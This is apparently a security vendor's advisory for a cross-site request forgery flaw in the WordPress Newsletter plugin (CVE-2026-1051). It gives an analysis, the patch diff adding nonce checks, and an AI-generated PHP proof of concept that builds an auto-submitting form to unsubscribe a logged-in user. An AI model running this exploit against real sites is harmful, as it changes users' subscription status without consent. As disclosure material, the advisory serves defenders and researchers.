Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1051: Newsletter – Send awesome emails from WordPress <= 9.1.0 – Cross-Site Request Forgery to Newsletter Unsubscription (newsletter)

CVE ID CVE-2026-1051
Plugin newsletter
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 9.1.0
Patched Version 9.1.1
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1051:
The Newsletter plugin for WordPress versions up to and including 9.1.0 contains a Cross-Site Request Forgery vulnerability in its unsubscription functionality. This vulnerability allows attackers to force logged-in users to unsubscribe from newsletters without their consent. The CVSS score of 4.3 reflects a medium severity impact.

Atomic Edge research identifies the root cause as missing nonce validation in the hook_newsletter_action() function within the unsubscription module. The vulnerable code resides in newsletter/unsubscription/unsubscription.php. The function processes user actions like ‘uc’ (unsubscribe confirm) and ‘reactivate’ without verifying the request’s authenticity. Specifically, lines 137 and 153 in the diff show the unpatched code processes these actions directly, lacking any CSRF protection mechanism.

Exploitation requires an attacker to craft a malicious link or form that triggers a POST request to the plugin’s action endpoint. The target URL would be the site’s base URL plus the plugin’s action path, typically involving the ‘nk’ parameter containing the user’s key. An attacker could embed this request in a malicious webpage or email. When a logged-in WordPress user visits the page, their browser automatically submits the request, causing their newsletter subscription to be cancelled without their knowledge.

The patch adds nonce validation to both the unsubscribe and reactivate actions. In newsletter/unsubscription/unsubscription.php, developers added wp_verify_nonce() checks for the ‘uc’ action (lines 140-143) and the ‘reactivate’ action (lines 159-162). The patch also modifies the hook_newsletter_replace() function to accept a context parameter and conditionally add nonces to URLs when the context is ‘page’. Additionally, the plugin now includes nonce fields in the unsubscribe and reactivate form HTML output via wp_nonce_field() calls.

Successful exploitation results in unauthorized modification of user subscription status. Attackers can force any logged-in user to unsubscribe from newsletters, potentially disrupting communication between site owners and their audience. While this doesn’t directly compromise sensitive data or enable privilege escalation, it represents a integrity violation that can impact business operations and user trust.

Differential between vulnerable and patched code

Code Diff
--- a/newsletter/admin.php
+++ b/newsletter/admin.php
@@ -46,6 +46,7 @@
             if (!$time) {
                 wp_schedule_event(time() + 30, 'newsletter', 'newsletter');
             } elseif ($time > time() + NEWSLETTER_CRON_INTERVAL * 2) {
+                // Someone played with the cron scheduling the event in the far future...
                 wp_clear_scheduled_hook('newsletter');
                 wp_schedule_event(time() + 30, 'newsletter', 'newsletter');
             }
--- a/newsletter/composer/index.php
+++ b/newsletter/composer/index.php
@@ -221,9 +221,7 @@
 include __DIR__ . '/modals/placeholders.php';
 include __DIR__ . '/modals/templates.php';

-if (function_exists('wp_enqueue_editor')) {
-    wp_enqueue_editor();
-}
+wp_enqueue_editor();

 do_action('newsletter_composer_footer');

--- a/newsletter/includes/antibot-subscription.php
+++ b/newsletter/includes/antibot-subscription.php
@@ -14,7 +14,7 @@
                 margin: 200px auto 0 auto !important;
                 max-width: 300px !important;
                 padding: 10px !important;
-                font-family: "Open Sans", sans-serif;
+                font-family: sans-serif;
                 background: #ECF0F1;
                 border-radius: 5px;
                 padding: 50px !important;
--- a/newsletter/includes/composer.php
+++ b/newsletter/includes/composer.php
@@ -122,6 +122,11 @@
             $prefix . '_width' => 'auto'
         ];

+        $width = $options[$prefix . '_width'];
+        if (is_numeric($width)) {
+            $width .= 'px';
+        }
+
         $options = array_merge($defaults, array_filter($options));

         $a_style = 'display:inline-block;'
@@ -133,9 +138,9 @@

         $td_style = 'border-collapse:separate !important;cursor:auto;mso-padding-alt:10px 25px;background:' . $options[$prefix . '_background'] . ';';
         $td_style .= 'border-radius:' . $options[$prefix . '_border_radius'] . 'px;';
-        if (!empty($options[$prefix . '_width'])) {
-            $a_style .= ' width:' . $options[$prefix . '_width'] . 'px;';
-            $table_style .= 'width:' . $options[$prefix . '_width'] . 'px;';
+        if ($width) {
+            $a_style .= ' width:' . $width . ';';
+            $table_style .= 'width:' . $width . ';';
         }

         if (!empty($options[$prefix . '_border_color'])) {
--- a/newsletter/main/main-admin.php
+++ b/newsletter/main/main-admin.php
@@ -51,6 +51,11 @@
         if ($count) {
             echo '<div class="notice notice-error"><p style="font-size: 1.2em">One or more newsletters have been blocked due to severe delivery error. <a href="admin.php?page=newsletter_system_delivery#newsletters-error">Check and restart</a>.</p></div>';
         }
+
+//        $options = NewsletterUnsubscriptionAdmin::instance()->get_main_options();
+//        if (strpos($options['unsubscribe_text'], '{unsubscription')) {
+//            echo '<div class="notice notice-warning"><p style="font-size: 1.2em">Unsubscription</div>';
+//        }
     }

     function admin_menu() {
--- a/newsletter/plugin.php
+++ b/newsletter/plugin.php
@@ -4,7 +4,7 @@
   Plugin Name: Newsletter
   Plugin URI: https://www.thenewsletterplugin.com
   Description: Newsletter is a cool plugin to create your own subscriber list, to send newsletters, to build your business. <strong>Before update give a look to <a href="https://www.thenewsletterplugin.com/category/release">this page</a> to know what's changed.</strong>
-  Version: 9.1.0
+  Version: 9.1.1
   Author: Stefano Lissa & The Newsletter Team
   Author URI: https://www.thenewsletterplugin.com
   Disclaimer: Use at your own risk. No warranty expressed or implied is provided.
@@ -30,7 +30,7 @@

  */

-define('NEWSLETTER_VERSION', '9.1.0');
+define('NEWSLETTER_VERSION', '9.1.1');

 global $wpdb, $newsletter;

--- a/newsletter/system/scheduler.php
+++ b/newsletter/system/scheduler.php
@@ -1,8 +1,8 @@
 <?php
 /** @var NewsletterSystemAdmin $this */
 /** @var NewsletterControls $controls */
-/** @var wpfb $wpdb */

+/** @var wpfb $wpdb */
 use NewsletterLicense;

 defined('ABSPATH') || exit;
@@ -283,7 +283,11 @@
                                                 if ($key == 'newsletter') {
                                                     echo '<li style="padding: 0; margin: 0; font-weight: bold">', esc_html($key . ' - ' . $data['interval']), ' seconds</li>';
                                                 } else {
-                                                    echo '<li style="padding: 0; margin: 0;">', esc_html($key . ' - ' . $data['interval']), ' seconds</li>';
+                                                    if (!is_numeric($data['interval'])) {
+                                                        echo '<li style="padding: 0; margin: 0; font-weight: bold; color: red;">', esc_html($key . ' - ' . $data['interval']), ' seconds (the interval is not a number!)</li>';
+                                                    } else {
+                                                        echo '<li style="padding: 0; margin: 0;">', esc_html($key . ' - ' . $data['interval']), ' seconds</li>';
+                                                    }
                                                 }
                                             }
                                         }
@@ -311,7 +315,7 @@
                                     WordPress scheduler auto trigger
                                 </td>
                                 <td class="status">
-                                    <?php //$this->condition_flag($condition)     ?>
+                                    <?php //$this->condition_flag($condition)      ?>
                                 </td>
                                 <td>
                                     <?php $controls->button_test() ?>
@@ -433,7 +437,7 @@
                             <tr>
                                 <td>Transient <code>doing_cron</code></td>
                                 <td class="status">
-                                    <?php //$this->condition_flag($condition)    ?>
+                                    <?php //$this->condition_flag($condition)     ?>
                                 </td>
                                 <td>
                                     <?php if ($transient) { ?>
--- a/newsletter/unsubscription/unsubscription.php
+++ b/newsletter/unsubscription/unsubscription.php
@@ -19,7 +19,7 @@
     function __construct() {
         parent::__construct('unsubscription');

-        add_filter('newsletter_replace', [$this, 'hook_newsletter_replace'], 10, 4);
+        add_filter('newsletter_replace', [$this, 'hook_newsletter_replace'], 10, 5);
         add_filter('newsletter_page_text', [$this, 'hook_newsletter_page_text'], 10, 3);
         add_filter('newsletter_message', [$this, 'hook_newsletter_message'], 9, 3);

@@ -48,6 +48,7 @@
         $label = empty($attrs['label']) ? __('Unsubscribe', 'newsletter') : $attrs['label'];

         $b = '<form action="' . esc_attr($this->build_action_url('uc')) . '" method="post" class="tnp-button-form tnp-unsubscribe">';
+        $b .= wp_nonce_field('newsletter-unsubscribe', '_wpnonce', true, false);
         $b .= '<input type="hidden" name="nk" value="' . esc_attr($this->get_user_key($user)) . '">';
         $b .= '<button class="tnp-submit">' . esc_html($label) . '</button>';
         $b .= '</form>';
@@ -63,6 +64,7 @@

         $label = empty($attrs['label']) ? __('Resubscribe', 'newsletter') : $attrs['label'];
         $b = '<form action="' . esc_attr($this->build_action_url('reactivate')) . '" method="post" class="tnp-button-form tnp-reactivate">';
+        $b .= wp_nonce_field('newsletter-reactivate', '_wpnonce', true, false);
         $b .= '<input type="hidden" name="nk" value="' . esc_attr($this->get_user_key($user)) . '">';
         $b .= '<button class="tnp-submit">' . esc_html($label) . '</button>';
         $b .= '</form>';
@@ -137,7 +139,10 @@
                 break;

             case 'uc':
-
+                $verified = wp_verify_nonce($_REQUEST['_wpnonce'], 'newsletter-unsubscribe');
+                if (!$verified) {
+                    $this->redirect($this->build_action_url('u', $user, $email));
+                }
                 $this->unsubscribe($user, $email);
                 $url = $this->build_message_url(null, 'unsubscribed', $user, $email);
                 setcookie('newsletter', '', 0, '/');
@@ -153,6 +158,10 @@
                 break;

             case 'reactivate':
+                $verified = wp_verify_nonce($_REQUEST['_wpnonce'], 'newsletter-unsubscribe');
+                if (!$verified) {
+                    die('Unverified request');
+                }
                 $this->reactivate($user);
                 setcookie('newsletter', $user->id . '-' . $user->token, time() + 60 * 60 * 24 * 365, '/');
                 $url = $this->build_message_url(null, 'reactivated', $user);
@@ -228,14 +237,28 @@
         do_action('newsletter_user_reactivated', $user);
     }

-    function hook_newsletter_replace($text, $user, $email, $html = true) {
+    function get_unsubscribe_url($user, $email = null) {
+        return $this->build_action_url('u', $user, $email);
+    }
+
+    function hook_newsletter_replace($text, $user, $email, $html = true, $context = null) {

         if ($user) {
-            $text = $this->replace_url($text, 'unsubscription_confirm_url', $this->build_action_url('uc', $user, $email));
+            $url = $this->build_action_url('uc', $user, $email);
+            if ('page' === $context) {
+                $url = wp_nonce_url($url, 'newsletter-unsubscribe');
+            }
+            $text = $this->replace_url($text, 'unsubscription_confirm_url', $url);
             $text = $this->replace_url($text, 'unsubscription_url', $this->build_action_url('u', $user, $email));
             $text = $this->replace_url($text, 'unsubscribe_url', $this->build_action_url('u', $user, $email));
-            $text = $this->replace_url($text, 'reactivate_url', $this->build_action_url('reactivate', $user, $email));
-            $text = $this->replace_url($text, 'reactivation_url', $this->build_action_url('reactivate', $user, $email));
+
+            $url = $this->build_action_url('reactivate', $user, $email);
+            if ('page' === $context) {
+                $url = wp_nonce_url($url, 'newsletter-reactivate');
+            }
+
+            $text = $this->replace_url($text, 'reactivate_url', $url);
+            $text = $this->replace_url($text, 'reactivation_url', $url);
         } else {
             $text = $this->replace_url($text, 'unsubscription_confirm_url', $this->build_action_url('nul'));
             $text = $this->replace_url($text, 'unsubscription_url', $this->build_action_url('nul'));
--- a/newsletter/users/edit.php
+++ b/newsletter/users/edit.php
@@ -304,6 +304,13 @@
                                 <?php } ?>
                             </td>
                         </tr>
+                        <tr>
+                            <th><?php esc_html_e('Unsubscribe URL', 'newsletter'); ?></th>
+                            <td>
+                                <?php $unsubscribe_url = NewsletterUnsubscription::instance()->get_unsubscribe_url($user) ?>
+                                <a href='<?php echo esc_attr($unsubscribe_url) ?>' target="_blank"><?php echo esc_html($unsubscribe_url) ?></a>
+                            </td>
+                        </tr>

                     </table>
                 </div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1051 - Newsletter – Send awesome emails from WordPress <= 9.1.0 - Cross-Site Request Forgery to Newsletter Unsubscription

<?php
// Configuration
$target_url = 'https://vulnerable-site.com'; // Change to target WordPress site
$user_key = 'USER_KEY_HERE'; // Replace with target user's 'nk' parameter value

// Construct the malicious request URL
// The plugin's action endpoint typically follows the pattern: /?na=uc&nk={user_key}
$action_url = $target_url . '/?na=uc&nk=' . urlencode($user_key);

// Create a simple HTML page that auto-submits the malicious request
$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Malicious Page</title>
</head>
<body>
    <h1>Loading...</h1>
    <form id="csrf_form" method="POST" action="$action_url">
        <!-- The vulnerable endpoint does not require nonce in version <= 9.1.0 -->
        <!-- No additional parameters needed beyond the user key -->
    </form>
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrf_form').submit();
    </script>
    <p>If the form doesn't submit automatically, <a href="#" onclick="document.getElementById('csrf_form').submit(); return false;">click here</a>.</p>
</body>
</html>
HTML;

echo $html;

// Alternative cURL-based approach for direct testing
/*
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $action_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set cookies if you have a valid session (for testing authenticated scenarios)
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxxx=xxx');

$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . htmlspecialchars($response);
*/
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School